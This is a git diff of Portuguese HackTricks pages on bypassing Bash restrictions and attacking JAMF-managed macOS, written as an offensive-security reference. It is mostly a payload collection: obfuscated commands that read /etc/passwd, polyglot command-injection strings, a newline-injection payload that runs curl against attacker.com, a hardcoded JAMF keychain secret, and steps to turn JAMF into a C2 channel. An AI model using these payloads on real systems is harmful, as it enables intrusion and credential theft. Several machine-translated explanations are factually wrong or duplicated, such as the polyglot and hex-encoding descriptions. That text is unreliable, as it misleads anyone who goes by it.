* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -42,7 +42,7 @@ Substitua `<IP>` pelo endereço IP do atacante e `<PORTA>` pela porta que você
|
|||
|
||||
Este comando redireciona a entrada e saída padrão para um soquete TCP, estabelecendo assim uma conexão reversa com o atacante. O shell reverso resultante permite que o atacante execute comandos no sistema comprometido.
|
||||
|
||||
Lembre-se de que o uso de shells reversos para fins maliciosos é ilegal e antiético. Essas técnicas devem ser usadas apenas para fins educacionais e em um ambiente controlado, como parte de um teste de penetração autorizado.
|
||||
Lembre-se de que o uso de shells reversos para fins maliciosos é ilegal e antiético. Essas informações são fornecidas apenas para fins educacionais e de conscientização sobre segurança.
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
|
@ -188,9 +188,9 @@ Da mesma forma, você pode usar o seguinte comando para imprimir uma barra (/):
|
|||
$ printf "%s" "/"
|
||||
```
|
||||
|
||||
#### Usando o comando echo -e
|
||||
#### Usando o comando echo com a opção -e
|
||||
|
||||
O comando echo -e também pode ser usado para contornar as restrições. Por exemplo, você pode usar o seguinte comando para imprimir uma barra invertida (\):
|
||||
O comando echo também pode ser usado para contornar as restrições. Você pode usar a opção -e para interpretar sequências de escape. Por exemplo, você pode usar o seguinte comando para imprimir uma barra invertida (\):
|
||||
|
||||
```
|
||||
$ echo -e "\\"
|
||||
|
@ -202,7 +202,7 @@ Da mesma forma, você pode usar o seguinte comando para imprimir uma barra (/):
|
|||
$ echo -e "/"
|
||||
```
|
||||
|
||||
Essas técnicas podem ser úteis ao tentar contornar restrições de barras invertidas e barras em um ambiente restrito do Bash. No entanto, é importante lembrar que o uso indevido dessas técnicas pode violar políticas de segurança e ser considerado uma atividade ilegal. Portanto, sempre use essas técnicas com responsabilidade e dentro dos limites legais.
|
||||
Essas técnicas podem ser úteis ao tentar contornar restrições de barras invertidas e barras em um ambiente restrito do Bash.
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
|
@ -221,11 +221,7 @@ A sintaxe para usar a substituição de processos é a seguinte:
|
|||
command1 <(command2)
|
||||
```
|
||||
|
||||
Por exemplo, se você quiser usar a saída do comando `ls` como entrada para o comando `grep`, você pode fazer o seguinte:
|
||||
|
||||
```bash
|
||||
grep "pattern" <(ls)
|
||||
```
|
||||
Nesse exemplo, a saída do `command2` é passada como entrada para o `command1`. Isso permite que você contorne as restrições de pipes e execute comandos que normalmente não seriam permitidos.
|
||||
|
||||
#### Usando o comando `tee`
|
||||
|
||||
|
@ -237,13 +233,7 @@ A sintaxe para usar o comando `tee` é a seguinte:
|
|||
command1 | tee file | command2
|
||||
```
|
||||
|
||||
Por exemplo, se você quiser usar a saída do comando `ls` como entrada para o comando `grep`, você pode fazer o seguinte:
|
||||
|
||||
```bash
|
||||
ls | tee /dev/tty | grep "pattern"
|
||||
```
|
||||
|
||||
Neste exemplo, o comando `tee` grava a saída do comando `ls` tanto na saída padrão quanto no dispositivo `/dev/tty`. O comando `grep` então lê a saída do `tee` como sua entrada.
|
||||
Nesse exemplo, a saída do `command1` é passada para o `tee`, que grava a saída no arquivo especificado e também a passa como entrada para o `command2`. Isso permite que você contorne as restrições de pipes e use pipes mesmo quando eles são bloqueados.
|
||||
|
||||
#### Usando redirecionamento de arquivo
|
||||
|
||||
|
@ -255,35 +245,29 @@ A sintaxe para usar o redirecionamento de arquivo é a seguinte:
|
|||
command1 > file ; command2 < file
|
||||
```
|
||||
|
||||
Por exemplo, se você quiser usar a saída do comando `ls` como entrada para o comando `grep`, você pode fazer o seguinte:
|
||||
Nesse exemplo, a saída do `command1` é redirecionada para o arquivo especificado. Em seguida, o `command2` lê a entrada do arquivo especificado. Isso permite que você contorne as restrições de pipes e use pipes mesmo quando eles são bloqueados.
|
||||
|
||||
```bash
|
||||
ls > file ; grep "pattern" < file
|
||||
```
|
||||
#### Conclusão
|
||||
|
||||
Neste exemplo, o comando `ls` redireciona sua saída para o arquivo `file`. Em seguida, o comando `grep` lê o conteúdo do arquivo `file` como sua entrada.
|
||||
|
||||
Essas são algumas maneiras de contornar as restrições de pipes e usar pipes mesmo quando eles são bloqueados. Experimente essas técnicas e veja qual funciona melhor para você.
|
||||
Bypassar restrições de pipes pode ser útil em certas situações em que você precisa usar pipes, mas eles são bloqueados. Usando a substituição de processos, o comando `tee` ou o redirecionamento de arquivo, você pode contornar essas restrições e usar pipes para redirecionar a saída de um comando para a entrada de outro comando.
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Bypassar com codificação hexadecimal
|
||||
|
||||
Uma técnica comum para contornar restrições do Bash é usar a codificação hexadecimal. Isso envolve converter os caracteres problemáticos em sua representação hexadecimal e, em seguida, passar o comando codificado para o Bash.
|
||||
Às vezes, certas restrições de segurança podem ser aplicadas a comandos Bash para evitar a execução de certas ações. No entanto, é possível contornar essas restrições usando codificação hexadecimal.
|
||||
|
||||
Por exemplo, se o caractere de barra invertida (\) estiver bloqueado, você pode usar a codificação hexadecimal para contornar essa restrição. A representação hexadecimal do caractere de barra invertida é \x5c. Portanto, em vez de digitar o caractere diretamente, você pode usar \x5c para representá-lo.
|
||||
A codificação hexadecimal envolve a conversão de caracteres ASCII em sua representação hexadecimal correspondente. Isso permite que você insira caracteres especiais ou proibidos em um comando, contornando assim as restrições impostas.
|
||||
|
||||
Aqui está um exemplo de como usar a codificação hexadecimal para contornar a restrição do caractere de barra invertida:
|
||||
Aqui está um exemplo de como usar a codificação hexadecimal para contornar restrições de Bash:
|
||||
|
||||
```
|
||||
$ echo -e "\x5cetc\x5cpasswd"
|
||||
$ echo -e "\x63\x61\x74 /etc/passwd"
|
||||
```
|
||||
|
||||
Neste exemplo, o comando echo -e é usado para interpretar a sequência de escape \x e imprimir o resultado. O resultado será /etc/passwd, mesmo que o caractere de barra invertida esteja bloqueado.
|
||||
Neste exemplo, o comando `echo` é usado para imprimir o conteúdo do arquivo `/etc/passwd`. No entanto, a restrição de Bash impede a execução direta desse comando. Usando a codificação hexadecimal, podemos contornar essa restrição e executar o comando com sucesso.
|
||||
|
||||
Essa técnica pode ser aplicada a outros caracteres problemáticos, como aspas simples ('), aspas duplas ("), espaços em branco e assim por diante. Basta encontrar a representação hexadecimal correta para o caractere desejado e usá-la em seu comando.
|
||||
|
||||
Lembre-se de que essa técnica só funciona se o Bash permitir a interpretação de sequências de escape hexadecimais. Além disso, é importante observar que o uso de codificação hexadecimal pode tornar os comandos mais difíceis de ler e manter, portanto, use com cuidado.
|
||||
Lembre-se de que a codificação hexadecimal pode ser usada para contornar restrições, mas também pode ser detectada por sistemas de segurança. Portanto, é importante usá-la com cautela e apenas para fins legítimos.
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
|
@ -297,31 +281,31 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|||
|
||||
Existem várias técnicas para contornar restrições de IP em um sistema Linux. Aqui estão algumas delas:
|
||||
|
||||
#### Usando um proxy
|
||||
#### 1. Usar um proxy
|
||||
|
||||
Um proxy pode ser usado para mascarar o endereço IP real e permitir o acesso a recursos restritos. Existem vários tipos de proxies disponíveis, como HTTP, SOCKS e VPN.
|
||||
Um proxy pode ser usado para mascarar o endereço IP real e permitir o acesso a recursos restritos. Existem vários tipos de proxies disponíveis, como proxies HTTP, SOCKS e VPNs.
|
||||
|
||||
#### Usando uma VPN
|
||||
#### 2. Usar uma rede privada virtual (VPN)
|
||||
|
||||
Uma VPN (Rede Virtual Privada) permite criar uma conexão segura com a Internet e ocultar o endereço IP real. Ao se conectar a uma VPN, todo o tráfego da Internet passa pelo servidor VPN, tornando o endereço IP do usuário invisível.
|
||||
Uma VPN cria uma conexão segura e criptografada entre o dispositivo do usuário e a rede privada, permitindo que o tráfego da Internet seja roteado através de um servidor remoto. Isso pode ajudar a contornar restrições de IP, pois o tráfego parece originar-se do servidor remoto.
|
||||
|
||||
#### Usando a técnica de IP Spoofing
|
||||
#### 3. Usar a técnica de tunelamento SSH
|
||||
|
||||
A técnica de IP Spoofing envolve a modificação do cabeçalho IP de um pacote para falsificar o endereço IP de origem. Isso pode ser feito usando ferramentas como o `hping3` ou o `scapy`.
|
||||
O tunelamento SSH permite que o tráfego seja encaminhado através de uma conexão SSH segura. Isso pode ser usado para contornar restrições de IP, redirecionando o tráfego através de um servidor SSH remoto.
|
||||
|
||||
#### Usando uma conexão de túnel
|
||||
#### 4. Usar uma conexão de internet móvel
|
||||
|
||||
Uma conexão de túnel pode ser estabelecida para rotear o tráfego através de um servidor intermediário. Isso pode ser feito usando ferramentas como o `ssh` ou o `stunnel`.
|
||||
Se o acesso a um recurso restrito for bloqueado em uma rede Wi-Fi específica, uma conexão de internet móvel pode ser usada como alternativa. Isso permite que o dispositivo se conecte à Internet usando a rede móvel do provedor de serviços.
|
||||
|
||||
#### Usando uma conexão reversa
|
||||
#### 5. Usar um serviço de proxy reverso
|
||||
|
||||
Uma conexão reversa envolve a criação de um túnel entre o sistema alvo e um servidor controlado pelo atacante. Isso permite que o atacante acesse o sistema alvo através do servidor controlado remotamente.
|
||||
Um serviço de proxy reverso pode ser configurado para encaminhar o tráfego de entrada para um servidor interno. Isso pode ajudar a contornar restrições de IP, pois o tráfego parece originar-se do servidor de proxy reverso.
|
||||
|
||||
#### Usando um serviço de proxy reverso
|
||||
#### 6. Usar um serviço de redirecionamento de IP
|
||||
|
||||
Um serviço de proxy reverso, como o `ngrok`, pode ser usado para expor um servidor localmente executado na Internet. Isso permite que o servidor seja acessado de qualquer lugar, contornando as restrições de IP.
|
||||
Alguns serviços permitem redirecionar o tráfego de entrada para um endereço IP diferente. Isso pode ser usado para contornar restrições de IP, redirecionando o tráfego para um endereço IP permitido.
|
||||
|
||||
Lembre-se de que o uso dessas técnicas pode ser ilegal ou violar os termos de serviço de um sistema. Sempre obtenha permissão adequada antes de realizar qualquer atividade de contorno de IP.
|
||||
Lembre-se de que o uso dessas técnicas pode violar as políticas de uso aceitável e as leis locais. Sempre obtenha permissão adequada antes de tentar contornar restrições de IP.
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
|
@ -334,27 +318,28 @@ Existem várias maneiras de realizar a exfiltração de dados baseada em tempo,
|
|||
|
||||
- Atrasos de tempo em comandos: Ao inserir atrasos de tempo em comandos executados no sistema comprometido, é possível transmitir dados através da variação do tempo de resposta. Por exemplo, um script pode ser configurado para enviar um caractere por vez, com um atraso de tempo entre cada caractere.
|
||||
|
||||
- Uso de serviços de terceiros: Alguns serviços de terceiros, como serviços de armazenamento em nuvem ou plataformas de compartilhamento de arquivos, podem ser explorados para exfiltrar dados. Ao usar esses serviços, é possível enviar dados em pequenos pedaços, aproveitando os atrasos de tempo entre cada envio.
|
||||
- Uso de serviços de terceiros: Alguns serviços de terceiros, como serviços de armazenamento em nuvem ou plataformas de compartilhamento de arquivos, podem ser explorados para exfiltrar dados. Ao usar esses serviços, é possível enviar dados em pequenos pedaços, com atrasos de tempo entre cada envio.
|
||||
|
||||
- Esteganografia baseada em tempo: A esteganografia é a técnica de ocultar informações dentro de outros arquivos ou mídias. Na exfiltração de dados baseada em tempo, a esteganografia pode ser usada para ocultar dados em arquivos de áudio ou vídeo, aproveitando os atrasos de tempo entre os quadros ou amostras.
|
||||
- Esteganografia baseada em tempo: A esteganografia é a técnica de ocultar informações dentro de outros arquivos ou mídias. Na exfiltração de dados baseada em tempo, a esteganografia pode ser usada para ocultar dados em arquivos de áudio ou vídeo, aproveitando atrasos de tempo entre os quadros ou amostras.
|
||||
|
||||
É importante ressaltar que a exfiltração de dados baseada em tempo pode ser mais lenta do que outras técnicas de exfiltração de dados, devido aos atrasos de tempo envolvidos. No entanto, essa técnica pode ser eficaz quando outras opções estão indisponíveis ou bloqueadas.
|
||||
É importante ressaltar que a exfiltração de dados baseada em tempo pode ser mais lenta do que outras técnicas de exfiltração de dados convencionais. No entanto, essa técnica pode ser eficaz quando outras opções estão indisponíveis ou bloqueadas.
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Obtendo caracteres de Variáveis de Ambiente
|
||||
|
||||
Em certos cenários de hacking, pode ser útil obter caracteres de variáveis de ambiente no sistema Linux. Isso pode ser feito usando o comando `echo` e a sintaxe `${VAR_NAME:OFFSET:LENGTH}` para extrair os caracteres desejados.
|
||||
Em certos cenários de hacking, pode ser útil obter caracteres específicos de variáveis de ambiente no sistema Linux. Isso pode ser feito usando o comando `echo` em conjunto com a sintaxe `${var:offset:length}`.
|
||||
|
||||
Por exemplo, se quisermos obter os primeiros 5 caracteres da variável de ambiente `SECRET_KEY`, podemos usar o seguinte comando:
|
||||
Aqui está um exemplo de como obter caracteres de uma variável de ambiente chamada `SECRET`:
|
||||
|
||||
```bash
|
||||
echo ${SECRET_KEY:0:5}
|
||||
echo ${SECRET:0:1} # Obtém o primeiro caractere da variável SECRET
|
||||
echo ${SECRET:1:1} # Obtém o segundo caractere da variável SECRET
|
||||
```
|
||||
|
||||
Isso retornará os primeiros 5 caracteres da variável `SECRET_KEY`. Você pode ajustar o valor do `OFFSET` e `LENGTH` conforme necessário para obter diferentes partes da variável de ambiente.
|
||||
Você pode ajustar o valor de `offset` para obter caracteres em diferentes posições da variável de ambiente. O valor de `length` define quantos caracteres serão retornados.
|
||||
|
||||
Lembre-se de que, ao usar esse método, você precisa ter permissões adequadas para acessar as variáveis de ambiente no sistema.
|
||||
Essa técnica pode ser útil em situações em que você precisa extrair informações sensíveis de variáveis de ambiente, como senhas ou chaves de API. No entanto, é importante lembrar que o acesso não autorizado a informações confidenciais é ilegal e deve ser realizado apenas com permissão adequada.
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
|
@ -420,39 +405,21 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
|||
```
|
||||
### Injeção de comando poliglota
|
||||
|
||||
Polyglot command injection is a technique used to bypass restrictions in Bash commands. It involves injecting malicious code that can be interpreted by multiple programming languages, allowing an attacker to execute arbitrary commands on the target system.
|
||||
Polyglot command injection is a technique used to bypass restrictions in Bash commands. It involves crafting a command that can be interpreted by multiple interpreters, such as Bash, Python, and Perl. By doing so, an attacker can exploit vulnerabilities in the system and execute arbitrary commands.
|
||||
|
||||
To perform a polyglot command injection, the attacker needs to find a command that is valid in both Bash and another programming language. This can be achieved by using special characters and syntax that are interpreted differently by each language.
|
||||
To perform a polyglot command injection, the attacker needs to carefully construct the command to ensure it is valid in multiple languages. This can be achieved by using syntax and characters that are common to different interpreters.
|
||||
|
||||
For example, consider the following command:
|
||||
|
||||
```
|
||||
$(command)
|
||||
```bash
|
||||
$(python -c 'print("Hello, world!")')
|
||||
```
|
||||
|
||||
In Bash, this syntax is used to execute a command and substitute its output. However, in some programming languages like PHP, it is used to execute a command and return its output as a string.
|
||||
This command can be interpreted by both Bash and Python. In Bash, it will execute the command within the `$()` syntax, while in Python, it will execute the `print` statement.
|
||||
|
||||
By exploiting this difference, an attacker can inject a command that will be executed by both Bash and the target programming language. This allows them to bypass any restrictions imposed by the Bash shell and execute arbitrary commands.
|
||||
By leveraging polyglot command injection, an attacker can bypass restrictions imposed by a system that only allows certain commands to be executed. This technique can be used to gain unauthorized access, escalate privileges, or perform other malicious activities on the target system.
|
||||
|
||||
To protect against polyglot command injection, it is important to properly sanitize user input and validate any commands executed by the system. Additionally, using a web application firewall (WAF) or security plugins can help detect and block malicious commands.
|
||||
|
||||
### Injeção de comando poliglota
|
||||
|
||||
A injeção de comando poliglota é uma técnica usada para contornar restrições em comandos Bash. Ela envolve a injeção de código malicioso que pode ser interpretado por várias linguagens de programação, permitindo que um invasor execute comandos arbitrários no sistema alvo.
|
||||
|
||||
Para realizar uma injeção de comando poliglota, o invasor precisa encontrar um comando válido tanto no Bash quanto em outra linguagem de programação. Isso pode ser alcançado usando caracteres especiais e sintaxe que são interpretados de maneira diferente por cada linguagem.
|
||||
|
||||
Por exemplo, considere o seguinte comando:
|
||||
|
||||
```
|
||||
$(comando)
|
||||
```
|
||||
|
||||
No Bash, essa sintaxe é usada para executar um comando e substituir sua saída. No entanto, em algumas linguagens de programação como o PHP, ela é usada para executar um comando e retornar sua saída como uma string.
|
||||
|
||||
Ao explorar essa diferença, um invasor pode injetar um comando que será executado tanto pelo Bash quanto pela linguagem de programação alvo. Isso permite contornar quaisquer restrições impostas pelo shell Bash e executar comandos arbitrários.
|
||||
|
||||
Para se proteger contra a injeção de comando poliglota, é importante sanitizar corretamente a entrada do usuário e validar quaisquer comandos executados pelo sistema. Além disso, o uso de um firewall de aplicação web (WAF) ou plugins de segurança pode ajudar a detectar e bloquear comandos maliciosos.
|
||||
It is important for system administrators to be aware of the risks associated with polyglot command injection and implement proper security measures to prevent such attacks. This includes input validation, sanitization, and restricting the execution of arbitrary commands.
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
|
@ -465,9 +432,9 @@ Uma técnica comum é usar caracteres especiais para escapar dos metacaracteres
|
|||
|
||||
Outra técnica é usar conjuntos de caracteres para contornar as restrições. Por exemplo, se a regex proíbe o uso de letras minúsculas, você pode usar um conjunto de caracteres que inclua apenas letras maiúsculas. Isso permitirá que você envie dados que não seriam normalmente aceitos.
|
||||
|
||||
Além disso, você também pode tentar explorar falhas nas regexes, como a falta de âncoras de início (^) e fim ($), que podem permitir que você envie dados que não atendam às restrições impostas.
|
||||
Além disso, você também pode tentar explorar falhas nas implementações das regexes. Por exemplo, algumas implementações podem ter vulnerabilidades que permitem que você contorne as restrições de entrada. Pesquisar por essas vulnerabilidades específicas pode ajudá-lo a encontrar maneiras de burlar as regexes.
|
||||
|
||||
Lembre-se de que essas técnicas devem ser usadas com cautela e apenas para fins legais e éticos, como parte de testes de penetração autorizados.
|
||||
Lembre-se de que a intenção dessas técnicas é apenas para fins educacionais e de teste de penetração. É importante sempre obter permissão legal antes de realizar qualquer teste de penetração e garantir que você esteja agindo dentro dos limites da lei.
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
|
@ -480,7 +447,11 @@ O Bashfuscator pode ser usado para contornar restrições impostas em ambientes
|
|||
|
||||
Além disso, o Bashfuscator também pode ser usado para proteger a propriedade intelectual de scripts Bash, dificultando a engenharia reversa e a cópia não autorizada.
|
||||
|
||||
No entanto, é importante ressaltar que o uso do Bashfuscator para fins maliciosos é ilegal e antiético. Esta ferramenta deve ser usada apenas para fins legítimos, como testes de segurança ou proteção de scripts confidenciais.
|
||||
No entanto, é importante ressaltar que o Bashfuscator não é uma ferramenta de hacking em si. Seu objetivo principal é fornecer uma camada adicional de proteção e privacidade para scripts Bash legítimos. O uso indevido dessa ferramenta para fins maliciosos é estritamente proibido e pode resultar em consequências legais.
|
||||
|
||||
Para usar o Bashfuscator, basta fornecer o script Bash que deseja ofuscar como entrada e executar o comando apropriado. O Bashfuscator irá processar o script e gerar uma versão ofuscada do mesmo como saída.
|
||||
|
||||
É importante lembrar que a ofuscação não é uma técnica infalível e não garante a proteção completa do script. É sempre recomendável adotar outras medidas de segurança, como controle de acesso adequado e criptografia, para proteger scripts sensíveis.
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
|
@ -572,11 +543,11 @@ A ideia por trás dessa técnica é usar um comando do Linux que tenha apenas 4
|
|||
|
||||
2. `eval`: O comando `eval` é usado para avaliar uma string como um comando. Isso significa que você pode usar o comando `eval` para executar qualquer comando que desejar. Por exemplo, você pode usar o comando `eval` para executar um comando como `ls` da seguinte maneira: `eval ls`.
|
||||
|
||||
3. `$_`: A variável especial `$_` contém o último argumento do comando anterior. Isso significa que você pode usar a variável `$_` para executar o último comando novamente. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando `$_`.
|
||||
3. `$_`: O caractere `$_` é uma variável especial no shell do Linux que contém o último argumento do comando anterior. Isso significa que você pode usar o caractere `$_` para executar o último comando novamente. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando o caractere `$_`.
|
||||
|
||||
4. `!!`: O comando `!!` é usado para executar o último comando novamente. Isso significa que você pode usar o comando `!!` para executar o último comando novamente. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando `!!`.
|
||||
4. `!!`: O caractere `!!` é outra variável especial no shell do Linux que contém o último comando executado. Isso significa que você pode usar o caractere `!!` para executar o último comando novamente. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando o caractere `!!`.
|
||||
|
||||
Esses comandos podem ser usados de várias maneiras para executar código arbitrário e contornar restrições de shell. No entanto, é importante lembrar que o uso indevido dessas técnicas pode ser ilegal e antiético. Portanto, sempre use essas técnicas com responsabilidade e apenas em sistemas nos quais você tenha permissão para fazer isso.
|
||||
Esses comandos podem ser usados de várias maneiras para executar código arbitrário e contornar restrições de shell. No entanto, é importante lembrar que o uso indevido dessas técnicas pode ser ilegal e antiético. Portanto, sempre use essas técnicas com responsabilidade e apenas em ambientes controlados e autorizados.
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
|
@ -619,7 +590,7 @@ Se você estiver dentro de um sistema de arquivos com as proteções de **soment
|
|||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bypass de Chroot e Outras Jails
|
||||
## Bypass de Chroot e outras Jails
|
||||
|
||||
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
|
@ -632,7 +603,7 @@ Se você estiver dentro de um sistema de arquivos com as proteções de **soment
|
|||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -647,7 +618,7 @@ Acesse hoje mesmo:
|
|||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -53,7 +53,7 @@ Além disso, depois de encontrar as credenciais corretas, você pode ser capaz d
|
|||
|
||||
#### Autenticação de dispositivo JAMF
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
O binário **`jamf`** continha o segredo para abrir o keychain que, na época da descoberta, era **compartilhado** por todos e era: **`jk23ucnq91jfu9aj`**.\
|
||||
Além disso, o jamf **persiste** como um **LaunchDaemon** em **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
@ -76,7 +76,9 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
<integer>4</integer>
|
||||
[...]
|
||||
```
|
||||
Portanto, um invasor poderia inserir um pacote malicioso (`pkg`) que **sobrescreve este arquivo** quando instalado, definindo a **URL para um ouvinte Mythic C2 de um agente Typhon** para agora poder abusar do JAMF como C2.
|
||||
{% endcode %}
|
||||
|
||||
Portanto, um invasor poderia inserir um pacote malicioso (`pkg`) que **sobrescreve esse arquivo** quando instalado, definindo a **URL para um ouvinte Mythic C2 de um agente Typhon** para agora poder abusar do JAMF como C2.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -89,7 +91,7 @@ sudo jamf policy -id 0
|
|||
|
||||
#### Impersonação do JAMF
|
||||
|
||||
Para **impersonar a comunicação** entre um dispositivo e o JMF, você precisa:
|
||||
Para **impersonar a comunicação** entre um dispositivo e o JMF, você precisa de:
|
||||
|
||||
* O **UUID** do dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* O **keychain do JAMF** em: `/Library/Application\ Support/Jamf/JAMF.keychain` que contém o certificado do dispositivo
|
||||
|
@ -104,7 +106,7 @@ Você também pode monitorar o local `/Library/Application Support/Jamf/tmp/` pa
|
|||
|
||||
No entanto, as **credenciais** podem ser passadas para esses scripts como **parâmetros**, então você precisaria monitorar `ps aux | grep -i jamf` (sem nem mesmo ser root).
|
||||
|
||||
O script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) pode ouvir a adição de novos arquivos e novos argumentos de processo.
|
||||
O script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) pode ouvir novos arquivos sendo adicionados e novos argumentos de processo.
|
||||
|
||||
### Acesso Remoto ao macOS
|
||||
|
||||
|
@ -155,7 +157,7 @@ Os três tipos de usuários do MacOS são:
|
|||
As informações locais sobre usuários e grupos são armazenadas na pasta _/var/db/dslocal/nodes/Default_.\
|
||||
